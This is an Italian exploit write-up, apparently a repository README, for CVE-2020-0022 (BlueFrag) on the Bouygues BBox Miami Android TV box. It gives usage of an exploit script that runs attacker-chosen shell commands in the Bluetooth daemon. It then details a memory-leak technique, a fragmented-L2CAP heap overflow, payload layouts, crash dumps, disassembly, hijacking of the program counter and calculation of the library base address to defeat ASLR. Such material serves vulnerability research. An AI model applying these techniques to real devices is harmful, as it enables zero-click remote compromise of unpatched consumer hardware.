polo35/cve-2020-0022CVE-2020-0022 sfruttamento della vulnerabilità su Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
Vulnerabilità CVE-2020-0022 su Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Di Polo35 - 2020/08/24
########################################################################################
"Utilizzo: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Basato sugli script di Jan Ruge CVE-2020-0022: un RCE Bluetooth Zero-Click su Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
INTRODUZIONE E CONSIGLI
########################################################################################
Lo script utilizza il modulo bluetooth di Python per ottenere l'handle della connessione ACL. Quindi è necessario installare le librerie bluetooth e pybluez (versione 0.22 per python2 e l'ultima versione per python3)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
Puoi passare un comando shell allo script come parametro, che verrà eseguito con la funzione system dal demone bluetooth. Sono disponibili solo 104 caratteri per il comando shell perché la catena ROP occupa i primi 20 byte del secondo payload.
Esempio: shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
Lo script può utilizzare adb per controllare la connessione, ispezionare logcat e riavviare il target quando necessario. Per questo, devi passare l'IP del target come parametro. Assicurati di connettere il target con adb connect e di aprire una shell per verificare la connessione prima di utilizzare lo script.
I migliori risultati si ottengono connettendo il target via bluetooth con uno smartphone quando lo script lo dice ;) Possono essere necessari più di 30 tentativi per attivare l'exploit, ma a volte funziona al primo colpo.
########################################################################################
PERDITA DI MEMORIA CON ARM32
########################################################################################
Il Bouygues BBox Miami è basato su un processore ARM Cortex A9 a 32 bit. La differenza con ARM64 è che la funzione memcpy di libc non va in underflow, quindi è impossibile ottenere le stesse perdite di memoria di Jan Ruge. Ma la vulnerabilità è presente ed è sfruttabile in modo diverso.
Inviando un pacchetto l2cap con frammentazione a 4 byte, possiamo attivare una memcpy di lunghezza 0 in reassemble_and_dispatch. Ciò consente di ottenere 4 byte di dati non inizializzati alla fine di echo.
Aumentare la lunghezza del primo pacchetto (di seguito chiamato mem_offset) permette di "camminare" attraverso la memoria non inizializzata. Ottenere 32 echo con lo stesso mem_offset fornisce da 2 a 8 echo sfruttabili. Gli echo si ripetono, quindi non è necessario ottenere più di 32 echo con lo stesso mem_offset. Questo metodo riempie anche la memoria con i pacchetti, quindi è facile riconoscere schemi e trovare offset nelle perdite.
Il mem_offset è la lunghezza del pacchetto l2cap in caratteri. Esempio: mem_offset 184 = pacchetto l2cap di 184 caratteri = pacchetto l2cap di 368 byte.
Esempio di "camminamento" della memoria e dati non inizializzati con ripetizioni:
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
Possiamo vedere a mem_offset 180 e 184 alcuni indirizzi di memoria in little endian.
a4ce80a3 dà l'indirizzo 0xa380cea4 24d280a3 dà l'indirizzo 0xa380d224 a4d580a3 dà l'indirizzo 0xa380d5a4 9cce80a3 dà l'indirizzo 0xa380ce9c 1cd280a3 dà l'indirizzo 0xa380d21c 9cd580a3 dà l'indirizzo 0xa380d59c
Ci sono almeno 4 o 5 mem_offset in cui è possibile trovare indirizzi di memoria reali dopo quasi ogni riavvio. Vedremo più avanti come possiamo usarli.
########################################################################################
ANALISI DEL PRIMO CRASH
########################################################################################
Inviando un pacchetto l2cap con frammentazione a 2 byte, possiamo attivare una memcpy di lunghezza -2 in reassemble_and_dispatch. Ciò consente di overfloware al di fuori del pacchetto parziale con 30 byte di dati controllati dal secondo pacchetto. A causa dei 30 byte copiati, non è necessario inviare pacchetti più grandi di 32 byte con gli ultimi 4 byte nulli.
Questo metodo di overflow a volte causa il crash del demone bluetooth con il registro R0 controllato in _Z11list_appendP6list_tPv+65:
HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Il disassemblaggio all'indirizzo 001298e2 fornisce:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Carica R0 da R4+0x10 .text:0x1298E2 LDR R1, [R0] => Carica R1 da R0 => Crash se non controllato !!! .text:0x1298E4 MOVS R0, #8 => Imposta 8 in R0 .text:0x1298E6 BLX R1 => Branch with Link and Exchange a R1 => Salta a R1 controllato
La decompilazione mostra che sovrascriviamo la memoria all'indirizzo di R4+0x10, che è l'allocatore nella chiamata "node = list->allocator->alloc(8)":
signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= lista = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }
Il demone è andato in crash su LDR R1, [R0] con il registro R0 = dead0003 quando tentava di caricare l'indirizzo. Possiamo controllare R0 con il primo payload + 0xC, quindi se inseriamo un indirizzo valido possiamo controllare R1 con LDR R1, [R0] e quindi controllare PC con BLX R1.
########################################################################################
CONTROLLO DEL PROGRAM COUNTER TRAMITE OVERFLOW DI INDIRIZZO PERDUTO
########################################################################################
Utilizzando il metodo di overflow con il primo indirizzo di memoria trovato a mem_offset 180, possiamo spostare il crash verso un salto al registro R1 controllato.
HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer...
HCI: Found link transmit data buffer queue at 0xa458dbc4
HCI: Getting bluetooth library function pointers...
HCI: Found SetDataAdvDataSender function at 0x8a4a3b29
HCI: Found bluetooth library base address at 0x8a3ce000
Building the payloads...
First payload:
0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4
0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006
Second payload:
0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a
0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e
0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012
0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016
0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a
0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e
0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022
0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026
0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a
0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e
0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032
0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034
Prepare to connect to the target via bluetooth with your smartphone
HCI: Spraying second payload at 0xa458dbc4
Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3)
ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!!
07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue)
07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0'
07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm'
07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<<
07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032
07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001
07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030
07-20 09:28:01.228 21061 21061 F DEBUG :
07-20 09:28:01.228 21061 21061 F DEBUG : backtrace:
07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032
07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Lo stesso disassemblaggio all'indirizzo 001298e7 fornisce:
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Carica R0 da R4+0x10 .text:0x1298E2 LDR R1, [R0] => Carica R1 da R0 => Crash se non controllato .text:0x1298E4 MOVS R0, #8 => Imposta 8 in R0 .text:0x1298E6 BLX R1 => Branch with Link and Exchange a R1 => Salta a R1 controllato !!! .text:0x1298E8 MOV R1, R0
Il demone ora va in crash su BLX R1 con il registro R1 = dead0033. Questo è il pattern inviato nei pacchetti frammentati quando si ottengono perdite a mem_offset 184. Questo sarà il secondo payload con un indirizzo noto a un offset di - 0xb0 dal primo indirizzo di memoria trovato a mem_offset 180.
Ora possiamo controllare il PC della libreria bluetooth.marvellberlin.so che ha un secondo punto nella memoria con i dati e conosciamo l'indirizzo di questo.
Dopo il segnale i registri contengono:
########################################################################################
OTTENERE L'INDIRIZZO DI BASE DELLA LIBRERIA BLUETOOTH
########################################################################################
Utilizzando il metodo di perdita a mem_offset 28, siamo in grado di trovare alcuni indirizzi di memoria:0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.
Possiamo vedere i leak 29546c8f e 292b728f che danno l'indirizzo 0x8f6c5429 e 0x8f722b29 in little endian
Usando il metodo di overflow con questi indirizzi, il demone crasha in bluetooth.marvellberlin.so con il seguente crash dump:
libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Atterriamo nella sezione .text della libreria bluetooth.marvellberlin.so all'offset 000d5b3c
.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]
Il crash è a 0xd5b3c subito dopo l'inizio di una funzione, quindi l'indirizzo trovato è un puntatore a questa funzione Questa funzione è SetDataAdvDataSender della classe BleAdvertisingManagerImpl usata come puntatore nella funzione SetData del file btm_ble_multi_adv.cc
void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }
Ora abbiamo l'indirizzo di una posizione fissa nella libreria bluetooth.marvellberlin.so e possiamo calcolare l'indirizzo base di questa libreria L'offset reale rispetto all'indirizzo base della libreria è 0XD5B29 dal puntatore alla funzione SetDataAdvDataSender trovato a mem_offset 28
Nell'esempio sopra abbiamo trovato la funzione SetDataAdvDataSender all'indirizzo 0X8C35DB29 e ne abbiamo fatto l'overflow L'indirizzo base della libreria bluetooth era 0X8C35DB29 - 0XD5B29 = 0X8C288000
Abbiamo anche trovato un puntatore a 0x8C300429 nello stesso leak a mem_offset 28 L'offset tra i due indirizzi trovati è 0x8C35DB29 - 0x8C300429 = 0x5D700 Sappiamo che SetDataAdvDataSender si trova a 0xD5B28 nella libreria bluetooth, quindi possiamo calcolare l'indirizzo del secondo puntatore trovato: 0xD5B28 - 0x5D700 = 0x78428 A 0x78428 nella libreria bluetooth abbiamo la funzione bte_hh_evt che viene usata nelle funzioni btif_hh_service_registration e btif_hh_execute_service del file btif_hh.cc
void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }
bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }
I due indirizzi trovati a mem_offset 28 terminano sempre con 0xB29 per la funzione SetDataAdvDataSender e 0x429 per la funzione bte_hh_evt Con questo metodo abbiamo bisogno solo di uno dei due indirizzi noti nel leak per trovare l'indirizzo base della libreria bluetooth
Per riassumere, possiamo trovare l'indirizzo base della libreria bluetooth con:
########################################################################################
ANALISI DEL CRASH CON IL CODICE SORGENTE DI ANDROID
########################################################################################
Il codice sorgente di Android Oreo 8.1 mostra che sovrascriviamo una parte dell'oggetto buffer della coda di trasmissione dei dati del link p_lcb->link_xmit_data_q
La funzione l2c_rcv_acl_data crea l'oggetto tL2C_LCB* p_lcb e lo passa alla funzione l2c_link_check_send_pkts che aggiunge il pacchetto alla coda del buffer link_xmit_data_q
void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }
tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }
p_lcb è preso dall'oggetto statico l2cb.lcb_pool[0] come definito in l2c_main.cc
// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }
void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }
bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => Call to alloc replaced by our call (Only one parameter !!!) ... }
La definizione di link_xmit_data_q nella struttura tL2C_LCB è:
/* Define a link control block. There is one link control block between
La definizione della struttura list_t è:
typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 list_node_t* tail; | Size 0x4 | Offset 0x4 size_t length; | Size 0x4 | Offset 0x8 list_free_cb free_cb; | Size 0x4 | Offset 0xC const allocator_t* allocator; | Size 0x4 | Offset 0x10 } list_t; | Size 0x14
Con la struttura list_node_t:
struct list_node_t {
struct list_node_t* next; | Size 0x4 | Offset 0x0
void* data; | Size 0x4 | Offset 0x4
}; | Size 0x8
E la struttura allocator_t:
typedef struct {
alloc_fn alloc; | Size 0x4 | Offset 0x0
free_fn free; | Size 0x4 | Offset 0x4
} allocator_t; | Size 0x8
typedef struct {
uint16_t event; | Size 0x2 | Offset 0x0
uint16_t len; | Size 0x2 | Offset 0x2
uint16_t offset; | Size 0x2 | Offset 0x4
uint16_t layer_specific; | Size 0x2 | Offset 0x6
uint8_t data[]; | Size 0xx | Offset 0x8
} BT_HDR; | Size 0x8 + data length
Il disassemblaggio della funzione l2c_link_check_send_pkts:
.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => Move R0 to R4 => Set R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => Jump if R2 is null => Jump if BT_HDR* p_buf is null .text:0x00103112 MOVS R0, #0 => Move 0 to R0 => .text:0x00103114 CBZ R1, loc_103120 => Jump if R1 is null => Jump if tL2C_CCB* p_ccb is null .text:0x00103116 LDRH R1, [R1,#0x2C] => Load R1 + 0x2C into R1 => Load R1 with p_ccb->local_cid .text:0x00103118 MOVS R7, #1 => Move 1 to R7 => Set single_write = true .text:0x0010311A B loc_103124 => Branch to loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => Store R1 high into R2 => Set p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => Move R2 to R1 => Set R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => Store R0 into R2 + 0x6 => Set p_buf->layer_specific = 0 